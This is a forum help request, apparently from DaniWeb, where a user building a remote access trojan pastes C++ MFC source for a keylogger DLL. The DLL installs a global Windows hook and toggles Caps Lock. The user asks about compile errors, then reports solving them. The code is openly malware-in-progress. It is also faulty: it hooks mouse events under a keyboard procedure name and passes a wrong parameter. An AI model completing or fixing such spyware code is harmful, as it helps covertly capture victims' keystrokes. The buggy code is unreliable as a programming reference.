I am writing a RAT in which i have also included a keylogger as a DLL file.
here is my code in the keylogger.dll :

//function.h -- the file which will be referenced by my RAT project file./////////////////////////

extern "C" __declspec(dllexport) void setHook();




//keylogger.h//////////////////////////////////////////////////////////////////////////////////////////

#if !defined(AFX_KEYLOGGER_H__5979CE3A_20A6_4172_BBF1_9F7C091CC182__INCLUDED_)
#define AFX_KEYLOGGER_H__5979CE3A_20A6_4172_BBF1_9F7C091CC182__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000

#ifndef __AFXWIN_H__
	#error include 'stdafx.h' before including this file for PCH
#endif

#include "resource.h"		// main symbols

class CKeyLoggerApp : public CWinApp
{
public:
	CKeyLoggerApp();
	
	BOOL InitInstance();
	DECLARE_MESSAGE_MAP()
};




// keylogger.cpp/////////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "KeyLogger.h"
#include "function.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

BEGIN_MESSAGE_MAP(CKeyLoggerApp, CWinApp)
END_MESSAGE_MAP()



CKeyLoggerApp::CKeyLoggerApp()
{
}


CKeyLoggerApp theApp;

HHOOK hookData_;

BOOL CKeyLoggerApp::InitInstance()
{
	hins = AfxGetInstanceHandle();
	return TRUE;
}



extern "C" __declspec(dllexport) void setHook()
{
	hookData_ = ::SetWindowsHookEx (WH_MOUSE, (HOOKPROC)KeyboardProc, AfxGetApp()->m_hInstance, 0);
}



LRESULT WINAPI CALLBACK KeyboardProc (int code, WPARAM w, LPARAM l)
{
	if (code < 0)
		return CallNextHookEx (hookData_, code, w, l);
	unsigned char state[256];
	if (w == VK_CAPITAL)
	{
		GetKeyboardState (state);

		if (state[VK_CAPITAL] == 1)
			state[VK_CAPITAL] = 0;
		SetKeyboardState (state);
	}
	return CallNextHookEx (hookData_, code, w, 1);
}

my problem is the dll is not getting compiled. The errors are :

E:\RAT\KeyLogger\KeyLogger.cpp(74) : error C2065: 'KeyboardProc' : undeclared identifier
E:\RAT\KeyLogger\KeyLogger.cpp(79) : error C2373: 'KeyboardProc' : redefinition; different type modifiers

can anyone help me out??

Hey i have got the solution to my problem.. :)
Moderators may delete this post.

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.